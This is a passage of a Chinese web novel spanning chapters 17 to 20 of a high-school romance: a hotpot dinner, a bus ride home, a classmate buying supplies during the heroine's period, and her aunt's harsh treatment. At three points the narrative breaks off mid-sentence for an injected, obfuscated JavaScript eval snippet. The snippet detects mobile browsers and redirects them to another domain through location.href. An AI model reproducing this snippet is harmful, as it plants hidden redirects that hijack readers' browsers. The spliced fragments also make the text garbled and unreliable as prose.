尤伽和孟云程的这场矛盾,几乎持续了一周。这几天里,孟云程的状态一直都是恹恹的,对什么事情都提不起兴趣。至于为什么会这样,他比任何人都清楚原因。 最后,还是他先熬不住,主动低头和尤伽道了歉,可谁知尤伽压根不买他的帐。不得已,他把陈屿和姜挽都搬了出来,尤伽这才同意再给他一次机会,但有一个条件,就是他必须请他们吃饭。 和好几天的坐立难安相比,这个简直就是恩赐了,孟云程当即便提出要选一家高档的饭店。 尤伽和姜挽一商量,觉得没必要,最后还是选了离她们学校不远的那家火锅店。店虽不大,但味道很好,平日里很多学生都会去那里吃。 放学前,姜挽在微信里和沈曼报备,沈曼倒是没拦她,只是问她一起同行的是男生还是女生。 【男生女生都有。】这几个字,姜挽本来都已经打完了,但转念一想,又删掉了,换成:【都是女生。】 沈曼果然没再问:【好,吃完早点回来。】 【好的,知道了。】 放下手机,姜挽轻呼了一口气。和沈曼撒谎,这是她这么多年来的第一次。 她知道,如果她提了有男生,那么沈曼是一定不会让她去的。可她又非常想去,几乎是行动先于意识,循着本能,瞬间替她做了抉择。 放了学她们来到火锅店,店里此时已经很多人了。说话声,碰杯声,还有高汤煮沸后的“咕噜咕噜”冒泡声,白烟袅袅间,姜挽她们跟着服务员上了二楼。 因为孟云程额外加了钱,老板帮他们安排了最好的包厢,最好的位置。包厢里两张沙发,中间是火锅台,姜挽和尤伽坐一张,陈屿和孟云程坐另外一张。 刚坐下,孟云程便豪气地开口:“今天想吃什么随便点,反正我请客,你们都不用和我客气。” 尤伽看着手中的菜单,笔尖飞快地勾选:“你放心吧,不会有人和你客气的。” 她点完,又把菜单递给姜挽,姜挽一看都傻眼了,无论是荤的还是素的,尤伽每种都选了十几样。姜挽担心吃不完,他们毕竟只有四个人,而且据说这里的菜量很大,所以就没再加:“应该够了,先这些吧。” “呦呦,你要不再看看?”尤伽坚持,“反正有人请客,不点白不点。” 姜挽摇头:“还是不用了,一会儿要是不够了再加吧。” 她不加,尤伽便又把菜单递给陈屿和孟云程:“你们看看,还要再加吗?” 一般这种情况,陈屿和孟云程也都不会再加的。因为他们都知道尤伽的点菜习惯,基本是只多不会少。 可这次,陈屿却将菜单接了过去:“我看看。” 他嘴上虽然说着“看看”,但眼神却并没有逐个浏览,反而是直接将菜单翻面,十分有目的地只看某一行:“再加个豆腐吧。” 话音落,三个人同时看向他。 孟云程第一个不理解:“不是,你什么时候喜欢吃这玩意了?淡淡的,又没味道,以前一起吃饭的时候也没见你吃过啊。” 陈屿合上菜单,淡淡开口:“最近刚喜欢的,不可以吗?” 尤伽明白孟云程的意思,可为了刺挠他,还是开口:“不是吧孟云程,一份豆腐而已,你不至于这么小气吧?” 面对她,孟云程有苦难言,有脾气也不敢发,连抱怨都是很小声的:“你知道我不是这个意思,我只是好奇而已。” 尤伽扫他一眼,没再搭理,突然想起来什么,视线转向姜挽:“呦呦,我记得你也挺喜欢吃豆腐的,你和陈屿还真是有缘。” 听她这么说,姜挽尴尬地笑了下,其实在刚才陈屿开口说加豆腐的时候,她也觉得有些吃惊。难道真这么巧吗? 陈屿看向她,适时插入一句:“是吗,那当真是挺巧的。” 姜挽笑笑:“是挺巧的。” 点完菜,趁着上菜的间隙,他们去调制调料。尤伽和孟云程已经先去了,这会儿桌上只剩陈屿和姜挽两个人。 陈屿很自然地开口:“你喜欢吃什么口味的?有没有什么忌口?” 姜挽愣了一下,才反应过来他这是要帮她准备调料,忙开口:“不用了,我自己弄就行,你先去吧。” 陈屿没强求,但也没去。身体往后仰,整个人靠在沙发上,看着姜挽不说话。 姜挽被他看得不自在:“怎么了?” 陈屿也不出声,只是上下打量着她,眼神里的戏谑明显:“莫非,你有什么特殊的癖好,不方便让人知道?” 一个火锅调料而已,她能有什么特殊的癖好,姜挽小声反驳:“我没有。” “那你到底喜欢吃什么口味的?” “你一定要帮我调吗?” “一定。” 姜挽败下阵来:“麻油和小米辣,其他什么都不要。” 陈屿满意地勾了下唇角,瞬间从沙发上起身:“等着。” 陈屿虽然去得晚,可他比尤伽和孟云程回来得还快,左右手里分别端着一个调料碗,姜挽接过来的时候才发现,两碗调料,竟然都是麻油和小米辣。只不过里面小米辣的份量不一样。 “你也喜欢这个味道吗?” “不喜欢。”陈屿放下碗,在她对面坐下。 “那你怎么……” 后面的话没说完,被陈屿打断了,他神色似乎有些不大自然,敷衍似的开口:“以前的吃腻了,想换个口味。” 恰巧,孟云程和尤伽回来了,姜挽也就没再问。相比之下,他们的调料就要显得复杂多了,甚至尤伽还调了两份,一份清淡,一份麻辣。 刚才他们去弄调料的时候,姜挽已经放了不少东西进去,这会儿刚好可以直接开吃。开始前,孟云程端起酒杯,他十分郑重地,再次和尤伽道了歉。 尤伽也是爽快人,也就没再和他计较,端起果汁和他碰杯:“一笑泯恩仇。” 陈屿和姜挽陪着,陈屿是啤酒,姜挽也是果汁:“敬你们和好!” “敬友情!” “敬高三!” “敬相遇!” …… 姜挽很少这么恣意开怀过,忍不住多喝了几口。放下杯子的时候,隔着缭绕的白烟,她注意到对面的陈屿正在看着她,还以为他有事,开口问他:“怎么了?” 陈屿却突然别开了和她相对的视线:“没事,”他用公筷去夹菜,掩饰似的,递给她,“少喝点,多吃菜。” “嗯。” 结束时,已经九点多了,从火锅店出来,天色一片黑沉。偏偏今天还没有月亮,就显得云层更加厚了。 这么晚了,让两个女孩单独回家,肯定不合适。考虑到距离,原本姜挽和孟云程一起,陈屿和尤伽一起,才是最省事的。 可孟云程今天刚得到尤伽的原谅,还想趁机再表现表现,于是悄悄靠近陈屿,搭着他的肩膀,给他使眼色:“那个,帮我个忙,我送尤伽回去,你送姜挽回去呗。” 陈屿明白他的意思,而且就算他不说,他也会主动提的。拨开孟云程搭着他的那只手,点点头,表示同意了。 孟云程觉得他真够义气,好几次了,涉及到他和尤伽的事时,陈屿都特别挺自己,他一高兴,就有点忘形。 “走吧,我送你回去,”他朝尤伽抬下巴,又交代姜挽,“一会儿陈屿送你回去哈。” 尤伽没意见,反倒是姜挽拒绝了:“不用了,我一会儿自己回去就行。” 孟云程一愣,看看她,又看看陈屿,他还站在刚才的位置,离陈屿很近:“不是哥们,你怎么回事啊?你这鞍前马后地补习了这么长时间,而且刚才吃饭的时候我看你们也挺正常的,怎么她这么抵触你啊?莫非,是你人品不行?” 陈屿懒得和他贫,而且被姜挽拒绝,确实也有点烦。他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448263|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大高兴,一副赶人的架势:“你还走不走了?” “走,走,马上走。”孟云程抱拳,为自己刚才的嘴贱道歉,“抱歉,走了啊,你们也早点回去。” 尤伽也叮嘱:“呦呦,到家了,在群里说一声。” 姜挽回应她:“知道了,路上注意安全。” 陈屿看着姜挽,觉得她心情挺好的,也没看出来哪里不高兴。而且联想到她刚才的回答,好像也没带什么情绪,更像是在陈述一个事实而已。 他没再想,三两步来到她身边:“走吧,我送你回去。” “不用了,”姜挽还是那句话,“我自己可以回去的,时间不早了,你也早点回家吧。” 陈屿盯着她,实在是猜不透她在想什么,叹一口气:“到底怎么了?我哪儿又惹到你了?”语气很无奈,又带着点宠,活脱脱一个面对女朋友闹别扭时束手无策的受气包。 姜挽比他还纳闷:“你没有惹到我啊。” 陈屿干脆破罐子破摔,也不讲究什么章法了:“那你为什么不让我送你回家?” 原来是因为这个。 姜挽长睫颤了下,路灯下,眼睑处有一小片浅浅的阴翳,她抿了下唇角,很快又松开,像是下定某种决心:“其实是因为我妈妈,她不喜欢我和男生走得太近,你送我回去,我担心她看见。” 听她说是这个原因,陈屿松了一口气,但又好像没松,他软下脾气,和她打商量:“那坐公交总行了吧?你下车,我不下,这样就不用担心被看到了。” “其实……” 姜挽还要说什么,陈屿显然已经没有耐心了,他从她背上取书包:“哪那么多话,走吧。” 姜挽被他扽得趔趄,还没反应过来,书包就已经到了他的手里。 “哎,书包还给我,我自己拿。” “你先追上我再说吧。” 他们还是回到了学校门口,坐了姜挽平时坐的那趟公交。这个时间点,人已经不多了,让姜挽想起来上次他默默送她回家时的场景。 也是在这样一个夜晚,公交也是这样慢悠悠地晃着,只不过不同的是,上次他们是一前一后,这次是并排而坐。 距离更短了,两个人离得也更近了。 一路,车内很安静,姜挽和陈屿也就没有特意开口说话。两个人一个看向窗外,一个直视前方,各自整理着独属于自己的那份心事。 路上也没遇到堵车,一路畅通无阻,但可能是因为夜间行驶,有些看不清路况。遇到十字路口时,突然有车流汇入,司机猛地踩了刹车。 惯性太大,姜挽瞬间失去平衡,眼见着就要撞上前面的座椅,眼前突然伸出来一只手臂,替她挡住了,稳稳地拦在了她和座椅之间。 是陈屿。 可也正是因为这个动作,姜挽的身体直接贴在了他的手臂上,而且还是隐私部位,和他零距离接触了! 一瞬间,两人都有些傻眼。 姜挽更甚,她脸颊发烫,被他手臂碰着的地方简直像是碰上了烙铁,那热意顺着血液流到心里,让她整个心尖都跟着颤了。 几秒钟吧,她倏地移开身体,拉开和他的距离,扭头看向窗外,再不和他对视。 陈屿也尴尬,可他也不是故意的,刚才实在是情急之下的动作。他抬手碰了碰手臂,方才那温软的触感似乎还在:“抱歉。” 姜挽依旧看着窗外,闷闷地不肯回头,也不回答。 “我真不是故意的,刚才实在是情急之下的动作,绝对没有冒犯你的意思。” 他越说,姜挽越觉得害臊,终于肯扭头看他了,可一张脸却涨得通红:“你别说了!” 陈屿立马闭嘴。 后半段几乎是煎熬,好不容易熬到站,姜挽拿了书包就走,连一个“再见”都没有。 陈屿看着她的背影,再次默默念叨:“我真不是故意的。” 18. 第 18 章 次日,陈屿到学校的时候,姜挽已经到了。见他进来,忙起身,恨不得离他一丈远。陈屿垂着眼看她,没开口,几秒后,擦着桌边进去了。 一整个早自习,他们都没说一句话。期间唯一的一次接触,还是姜挽帮他拿试卷,陈屿原本想说句“谢谢”的,谁知她却突然转了身。很显然,她并不想和他说话。 后来,陈屿又尝试找了好几次机会,课上,就用学业的借口,课下,吃喝玩乐都来,可每一次,姜挽不是含糊回答,就是躲避拒绝,连一个眼神对视都没给他。 还真是有苦难言。 他们如此反常,连前排的尤伽也发现了,她问姜挽:“呦呦,你们是不是吵架了?还是昨天晚上回去的时候,路上发生了什么?” 听到这话,一瞬间姜挽好似被拿住了尾巴的小猫,当即炸了毛:“没有啊,你怎么会突然这么问?” 她在心虚,可尤伽看不出来:“总感觉你们今天怪怪的。”尤伽看看她,又看看陈屿,“该不会……” “哎呀,真的没有,”姜挽忙打断她:“你别瞎猜了。” “真的?”尤伽显然还有点怀疑,“要是有事的话,你可不许瞒着我。” “真的没有,”为了更有信服力,姜挽把陈屿也拉了进来:“不信你问他。” 一瞬间,两双眼睛同时看向他。一双是好奇,另外一双是恳求。 陈屿对上姜挽的,他其实很想告诉她,有个成语叫“欲盖弥彰”。可这会儿,看着她眼角下垂的弧度,还是不自觉顺着她的话开口:“真没什么,把她送到我就走了。” 话音落,他看到姜挽明显松了一口气。 既然两个当事人都这样说,尤伽也就没再问。 正当陈屿庆幸借这个机会打开了他和姜挽沉默的局面时,谁知尤伽前一秒刚转过去,下一秒姜挽便立马又恢复到了刚才的状态,立于他们中间的那堵墙再次出现,压得陈屿喘不过气来。 他忍不住苦笑,还真是个小白眼狼,帮完就躲,用完就扔。 恰巧姜挽的笔掉了,在地上滚了两圈,最终在陈屿的脚边停了下来。姜挽弯腰要捡,陈屿却突然抬腿跨了一步。他决定,要小小地“惩罚”一下她。 一瞬间,掉落的位置从他脚的外侧变为了内侧,即使姜挽的胳膊再长,也是够不到的,除非她从他腿上搭过去。 “你起来一下,我捡下笔。” “不起。”陈屿不仅不动,反而还将身子朝她这边靠了几分,一瞬间,两人之间的距离变得更近了,近得几乎要碰上。 姜挽连忙朝旁边挪了下,和他解释:“你不动的话,我没办法捡。” “你捡不了,不会请我帮忙吗?” “那我请你帮忙,你会帮吗?” “不会。” ……姜挽这才意识到他是故意的,很无奈:“那要怎么样,你才能把脚移开?” “很简单,你回答我一个问题就行。” “你说。” “要怎么样,你才能不再因为昨晚的事情躲着我,原谅我?” 听到他说的是这个问题,姜挽的第一反应是去看周围,尤其是尤伽,还好大家这会儿都在忙着自己的事情,应该是没听到。她压低声音,没什么底气地开口:“我没躲着你。” “没有吗,早上来了离我八丈远,和你说话你不应,给你拿东西你躲着,这还不算?”陈屿越说越停不下来,只是那语气听起来不像是抱怨,更像是委屈,“还有……” 见他似乎没有停下来的打算,姜挽忙打断他:“好吧,那就算我有吧,我和你道歉。” “道歉不必了,你就说要怎么样才能原谅我。” 姜挽其实想说,她根本就没有怪过他,只是因为没有经验,所以在第一次遇到这种事情的时候,才会选择当鸵鸟,用逃避来掩饰自己的慌乱。 可她想了想,还是开口:“只要你以后不再提这件事情就行。” “这么简单?” “嗯。” “好,一言为定。” 陈屿说话算话,姜挽同意后,他当即便弯腰帮她把笔捡了起来。 姜挽伸手去接,很突然地,他却将手收回,眼见着那支笔在空中划过一道弧线,反而离她更远了,姜挽忍不住皱眉:“又怎么了?” 陈屿是故意这么做的,她平时的性格太过正经,偶尔有点小情绪的时候就格外可爱,他朝她扬了扬下巴:“口说无凭,你现在说原谅我了,要是以后又反悔了,怎么办?” 姜挽觉得这是在质疑她的人品:“我不会。” 陈屿当然知道,可他还是装作不确定的样子,懒散地将那支笔在指间转了一个圈:“会不会是靠做的,不是靠说的。” “那你说,我要怎么做你才能相信我?” “我说得出,你就做得到?” “当然,”姜挽之所以这么说,也有赌气的成分在,因为这关乎到她的人品,是一件很重要的事情。可话出口才意识到有些不太合适,忍不住又加了一句,“犯法的事情我不做。” 陈屿单手撑着下巴,忍不住笑了:“你放心,就算我有心让你做,”他上下扫了她一眼,那意思很明确,“估计你这副身板也承受不住。” 姜挽没和他过多争论,安静等待他的后话:“那你说吧。” 陈屿收起刚才那副懒散的样子,把笔还给她,正色道:“以后要是遇到类似的事情,你要懂得保护自己。” 姜挽愣愣接过笔,有些没跟上他的思维,这要求,和她预期的,实在相差太大了。 “怎么突然说这个?” 这不是突然说的,是陈屿早就在想这件事情了。和她认识这么久,他再清楚不过她是什么样的一个人,况且她昨天还说她妈妈不喜欢她和男生有过多接触,陈屿基本可以断定,她在那方面的知识几乎为零。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448264|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不懂也就算了,可她似乎对自己外表的认知也并不到位,明显并没有意识到她这张脸对大部分人而言,到底意味着什么。 所以,他觉得,得适当帮她补一点这方面的知识:“你别管那么多,记住我的话就行,这个世界远比你想象得复杂,你以后也会遇到各种各样的人和事。有的可能会超出你的认知,但一定记住,有些事情的发生并不是你的错,你也没必要因此自责和逃避,保护好自己才是第一要位。” 姜挽虽没经验,可话说到这个份上,她要是再不懂的话,就有些迂了:“所以,像昨天那种情况,我其实应该先保护好自己,然后再甩你一巴掌,最后再报警,对吗?” 陈屿压根没想到她会这么说,简直就是搬起石头砸了自己的脚。他眯着眼,故作镇定:“我们讨论的是其他人,我不在这个范围之内。” “为什么?” “别问那么多,反正就是不一样,你照我说的做就行。” “可是……” 姜挽还要问,陈屿打断她:“是不是我的这个要求太简单了,你怎么这么多问题呢?” 姜挽当即闭了嘴,可已经来不及了,她眼睁睁看着陈屿去抽屉里翻找,很快便拿了一张试卷出来。 试卷被他铺展在两人桌子的衔接处,骨节分明的大手直指最后一道大题:“这道题,你看看。” 姜挽不用看都知道,肯定是她不怎么擅长的几何题。她把试卷拿过来,仔细研究了下,发现还真是,不仅题型她没见过,就连知识点也有些超纲。 “我试试吧。” 她磨磨蹭蹭了好久,也终于才解出了其中的三分之二,剩下的三分之一,和以前一样,陈屿只看了两眼,便瞬间帮她把问题的关键点找了出来。 姜挽正准备说谢谢,陈屿拦住她:“先别着急谢我,你得把这道题再重新讲一遍给我听。” “嗯?”姜挽有些不明白,“这道题你不是会写吗?” “我会写,和你再讲一遍,又不冲突。”怕她不愿意,陈屿还特意加了码,“再说了,我之前给你讲过那么多次,你就给我讲一次,就不愿意了?” 他提到这些,姜挽瞬间无话可说了,照着陈屿刚才的思路,她大致把解题步骤和重点又复述了一遍。 没说的时候不觉得,等复述过一遍之后才忽地发现,这种题型的解题步骤,她已经很清晰了。 有什么东西在脑中一闪而过,她试探性地问:“所以你让我重新复述一遍,只是为了让我加深记忆吗?” 现在已经是下课时间了,教室里有点吵,陈屿没怎么听清,他弯腰,偏头来听:“什么?” 姜挽便又重复了一遍。 陈屿听完后没承认,但也没否认,只是笑着说了句:“谢谢小姜老师帮我讲题。” 姜挽没应声,不过脸却一下子红了。窗外的微风,淋漓的秋色,这一切都让周遭泛起了一股未尽的暧昧之意。 19. 第 19 章 进了深秋,北城多雨,有时候下起来,一整天都淋淋沥沥个没完。偏偏这样的日子,姜挽还有些不舒服。 她生理期到了。 在这方面,姜挽一向都没什么规律,之前书包里都会放着备用的卫生巾,可上次用完后她忘了补。更惨的是,今天尤伽还没来,她想找个帮忙的人都没用。 窗外雨色浓重,姜挽看着逐渐起雾的玻璃窗,正思考着该怎么办,旁边的陈屿忽然起身,说他要出去。 要是以前,姜挽也就立马站起来给他让位置了,可今天不行,她犹豫着,双腿并拢往旁边侧,在身体和桌子中间给他留了空间:“你可以过去吗?” 陈屿垂眼看着她,笑着调侃道:“这么点地方,你过还差不多,你看我这身形,像是能过去吗?” 姜挽看看他,又看看这个位置,觉得好像是不太能:“你等一下。”说罢,她伸手去拉校服的拉链。 陈屿疑惑地看着她,一开始,他还不明白她打算做什么,直到看到她把外套脱下来,围到腰间时,瞬间反应过来。 每个月,女主总有那么不舒服的几天。 他虽然没说什么,可姜挽看他那个眼神,就知道他已经猜到了。她有些尴尬,垂下眼睫,沉默着。 “这种时候不能着凉,你把外套穿上。”陈屿率先开口,打破沉默。 “不用了,我……” “披上,”陈屿没多和她拉扯,“我的外套比较长,会更方便。” 至于为什么方便,怎么方便,他没再说,但显然两人都清楚。 姜挽听他的话披上,果然,披上他的外套后,长度能到大腿,这样即便她站起来,也不会被看到了。 “你还出去吗?”她问他。 “嗯。” 姜挽站起来给他让位置,但陈屿却没有直接离开,而是随手拿了她放在桌上的保温杯,开口:“你平时用什么牌子?” “什么?”话题跳跃太快,姜挽一时没懂。 “卫生巾,”陈屿再次开口,但声音很小,“你平时用什么牌子的?” 他原本是想隐晦点的,但眼下看来,太隐晦的问法,还是不大适合她。 姜挽没想到他会问这些,微微偏着头,避开他的视线。犹豫着,踌躇着,明显还没做好准备和他讨论这个话题。 见此,陈屿也没逼她:“那我随便买吧,到时候要是实在决定不了,就只能把每个牌子的都买一份。” “七度空间。”像是真怕他会那么做,在他离开前,姜挽忙说了一个牌子。 “知道了,等着。”陈屿拿伞便走了。 陈屿走后,姜挽觉得小腹疼得实在厉害,于是便趴在桌上闭目养神。也没过多久,就几分钟吧,她感觉肩膀被人拍了下,姜挽抬头,看见陈屿正站在她旁边,左手提着一个大号的黑色塑料袋,右手握着她的保温杯。 见她起来,先把保温杯递给她:“先喝点水。” “谢谢。”姜挽给他让位置,“你怎么这么快就回来了?” “因为腿长。” 语气虽然很臭屁,可姜挽垂眸扫了扫,他似乎说的也是实话。 也正是因为这一眼,让她注意到陈屿的整个裤脚和鞋全湿了。那种湿法,不像是被淋的,反而像是大步奔走时带起地上的污水,裤脚边还有明显的污渍。 “你不会是跑回来的吧?”她问。 陈屿没回答她,而是将手中一直提着的那个黑色塑料袋递给她:“你看看,喜欢哪种香味的。” 香味? 姜挽疑惑,买卫生巾还讲究这个吗?她以前从来没有在意过。 “你买了什么香味的?”她其实想说,无论他买了什么样的都行。 陈屿却答:“你自己看吧。” 不看还好,这一看,姜挽差点被吓晕过去,除了各种香味,还有不同的型号,陈屿全都买了。 日用,夜用,网面,棉质…… 薰衣草,小苍兰,玫瑰,茉莉…… 姜挽一包一包看下来,严重怀疑陈屿把整个超市的卫生巾都买空了。 幸好他还知道拿个黑色的袋子,不然这一路走回来,真不知会有多少异样的眼光投向他呀。 虽然他确实是给她帮忙,可看着买了这么多,姜挽还是忍不住开口:“买的是不是有点太多了?” “不知道你喜欢哪种,干脆就全买了。”陈屿反应很淡,像在说一件再平常不过的事情。 “可还是有点多……”姜挽小声念叨,毕竟她现在生活费有限,担心自己的钱不够付这些。 “这东西不是能放吗,这次用不完,你留着下次再用。” “嗯,”姜挽没再继续问,毕竟陈屿也是好心,她如果再问,就真有些烦了,“这些一共多少钱?我微信转给你。” 听她提到钱,陈屿不高兴了,手中来回翻着书本,声音也闷闷的:“我有说过要和你要钱吗?” “你是没有,可你帮我买,我给你钱是应该的,”姜挽没察觉到他的情绪变化,还在一个劲地开口,“况且外面还下着雨,你因为帮我买这些裤子和鞋都湿了,怎么说,我都得把这钱付给你。” “和我有必要分得这么清吗?”大概是焦躁,陈屿”啪”的一声把书本扣在桌上,“就像你说的,那我鞋还湿了,还淋雨了,这些你是不是也都用钱来打发我?” 用钱打发?姜挽皱眉,她完全没有这个意思,只是想感谢他而已。 她不知道自己哪里说错了,更不明白好好的,他怎么突然就生气了。可这些似乎都不重要,刚才陈屿所有的话里,她只记住了一句:“你淋雨了?” 陈屿斜着眼看她,没回答。 “你需要去校医院看下,或者吃点药吗?要不我还是把衣服还给你吧?” 说着,她就要脱,陈屿隔着衣服按她的手臂,脸色还是不大好,可声音已经缓下来了:“不用,你少气点我,就比什么都管用。” 姜挽愣了一下,还是开口:“嗯。” 虽然她也不懂这“气不气的”,究竟是从何而来,可眼见着他能消气,也就应了。 “那钱的事情……” 陈屿一记冷眸扫过来,姜挽忙改口:“以后再说。” 陈屿这才收回视线。 一上午,陈屿来来回回帮她接了好几趟热水,除了十分必要的去厕所,姜挽基本没离开过座位。就连午饭,陈屿也没让她下楼,说是要帮她买回来。 陈屿自己的午饭吃的简单,随便选了两荤一素的盒饭应付,对姜挽的,倒是很上心。 特意在网上查过后,帮她挑了较为清淡的粥和包子,又绕去饮品窗口,选了花生红枣热茶。 他这来来回回的好几趟,孟云程都有些看不下去了:“一顿午饭而已,你至于吗?” 陈屿没搭理她,细心把打包盒整理好:“你吃吧,我先回去了。” “哎哎,你先别走。”吃饭被丢下,孟云程本来就有点不高兴,问个问题陈屿还不回答,这会儿他就差直接挂脸了。 他放下筷子,审视的眼光来回打量着陈屿,故意做了一个推眼镜的动作,幽幽道,“我发现你小子对姜挽很上心啊,先是补习,现在又是买东西带饭的,我之前可从来没见你对别的女生这样过,你该不会是……” “你想多了。”陈屿打断他。 孟云程压根没管他,自顾自继续道:“你小子,该不会是喜欢上人家了吧?” 陈屿朝他凉凉看过来一眼,那样子不像是不高兴,更像是不想说:“你话怎么这么多?吃饭还堵不住你的嘴。” 现在八字还没一撇,他也不知道姜挽对自己的想法。在一切都没说开,在不清楚她的想法之前,陈屿觉得他有必要保留自己的想法,尽量不给她带来过多的压力。 毕竟,他喜欢她,也只是他单方面地喜欢而已,不能,也不会,要求她怎么样。 听他这么说,孟云程不高兴了,开口嚷嚷:“你不地道!我有什么事都和你说,你小子有点事就瞒着我。” 陈屿反驳他:“我记得,之前你和尤伽的事,也不是你告诉我,好像是我自己发现的吧?” 孟云程理亏,开始装傻:“是吗,时间太长我记不清了,那你到底说不说?” 陈屿也很果断:“不说,而且,”他叮嘱他,“你也别乱说。” 孟云程从不在言语上吃亏:“爱说不说,我还不想听呢。” 回到教室,陈屿把东西给姜挽后也不做别的,就在旁边看着她吃,边看还边问:“味道怎么样?” 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448265|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挽点点头:“挺好吃的。”她停下来喝口红枣热茶,就是有点多。 没多会儿,粥和茶都被她吃完了,可包子实在是吃不下,四个只吃了两个,还剩下两个。 “不吃了?” 旁边的陈屿突然问,姜挽还以为他要“兴师问罪”,毕竟这是他冒雨从食堂帮她带回来的,忙开口:“我吃不下了,这两个留着下午吃。” 说着,她就要去打包,谁知陈屿却先她一步将打包盒拿了过去:“下午想吃了再买,不用留着。” “那这两个……” 姜挽话还没说完,就见他已经拿了其中一个咬了起来,她一时有些愣怔,这是她吃剩的…… 陈屿吃得很快,三两下便吃完了,随即他开口,像是给自己刚才的行为做注解:“扔了浪费。” 太过自然的语气,理所应当的理由,姜挽反而觉得自己有些小家子气了:“也是。” 因为陈屿的照顾,姜挽这次的经期比以往轻松不少,晚上她回到家时,也没有之前那种身体仿佛散了架的感觉。 沈曼还在加班,沈峰今天晚上有饭局,家里只有她,谭镜和外婆三个人。 姜挽本想多一事不如少一事,能躲则躲的,却没想到,刚进门就被谭镜安排了活:“你先别进来,衣服也先别脱,我刚好有几个快递到了,你去帮我拿回来。” “舅妈,外面……” 外面还在下雨,姜挽原本想说能不能等雨停了再去,但谭镜却等不及:“这些东西我马上就要用,你赶紧去。” “好的。”姜挽垂眸,拿了伞再次出门。 帮谭镜拿快递这事也不是第一次了,她原本以为会像之前一样是个小盒子之类的。却没想到,这次竟然是三四个大箱子,堆在一起,都快有半人高了。 见她是个小姑娘,工作人员提醒:“让你家大人来吧,你拿不了。” “不用了,我拿就行。”姜挽弯腰核对快递信息,“不行我就多跑两趟。” 可能是实在看不下去了吧,最后,工作人员还是把小推车借给了她。 一路,姜挽既要撑伞,又要顾着小推车,还得保持伞面的角度,确保快递不会被淋湿,所以到家时,比以往慢了几分钟。 一推开门,还没见到谭镜的人,就先听见了她的声音:“怎么这么慢!不是说了我急用吗?” “舅妈,不好意思,外面下雨,我……” 谭镜真是一点都不掩饰,话没说完,就把她打断:“都拿完了?”她核对数量,斜眼瞥见快递边角的水渍,大声抱怨,“哎呀,这都淋湿了,东西要是坏了怎么办?” 可她没看到,姜挽不仅是淋湿,她的整个后背甚至可以说是已经完全湿透了。 衣服粘在身上,闷热黏腻得厉害,可姜挽却没太大的感觉。此刻,更让她觉得难受的是谭镜的眼神和语气。 吆五喝六,不被尊重,她知道。 对面的谭镜还在抱怨,可姜挽却突觉耳朵里一阵轰鸣,她已经听不清她在说什么了。 可听不清,她也得等着,等到谭镜发泄完情绪,等到她终于大发慈悲地让她进屋,这才换了鞋进卧室。 每当这种时候,外婆都会出来打圆场,可她在这个家说话也不管用,只能用叫姜挽吃饭的方式来缓和。 隔着门,姜挽开口:“外婆,你们吃吧,我今天中午吃多了,不饿。” 之所以没开门,是因为她不想外婆看见自己红着眼眶的样子。 很快,门外传来谭镜的声音:“爱吃不吃,惯得她!我又没说她什么,还摆起谱来了?也不看看是在谁的家里!” “哎……”这声叹息是外婆。 姜挽就那样坐在桌前,听着谭镜的声音逐渐远离。 晚上沈曼下班回来后,照例来看她一眼,姜挽已经躺下了,沈曼过来帮她整理被子,一碰上她的身体,顿时惊呼:“呦呦,你身体怎么这么烫?是不是发烧了?” 被沈曼这么一吵,姜挽也清醒了不少,她伸手摸了摸自己的额头,好像是有点烫,难怪刚才睡前她会觉得自己头晕。 “快,起来测体温,要是严重,咱们还得去医院!” 沈曼很急,姜挽倒还好,她起来后的第一反应是,陈屿这一天对她的照顾,看来是白费了。 20. 第 20 章 因为吃了药,姜挽这一晚睡得很沉,迷迷糊糊中发现脸上有亮光,她伸手去遮,透过指尖的缝隙,这才注意到窗帘不知何时已经被拉开了。 熹微的晨光里,书桌前坐着一个人,姜挽揉了揉眼睛,才看清是沈曼。 “妈,你怎么没去上班?”姜挽伸手去够枕边的手机,“现在几点了?” “八点,”沈曼将提前准备好的衣服放在她床边,“先换衣服起来洗漱吧。” 听到这个时间,姜挽一开始还有些懵,待看清手机屏幕的显示后,“腾”的一下便从床上坐了起来,着急忙慌地就去换衣服:“哎呀,妈你怎么不叫我?我上学都要迟到了,闹钟怎么没响呢?” “你先别着急,闹钟我昨天晚上帮你关了,你今天先不去学校了。”沈曼在一旁安慰她,“你还在发烧,我已经和你们班主任请过假了,今天不去了。” 经沈曼这么一提醒,姜挽才意识到自己这会儿确实还有些头晕,她冷静了下来,但觉得发烧也不是什么大事:“其实没什么的,我忍忍就好了。” 沈曼却忽然叹了一口气:“在家休息一天吧,来北城这么长时间,你也挺辛苦的,一直都在忙,也没停下来过。” 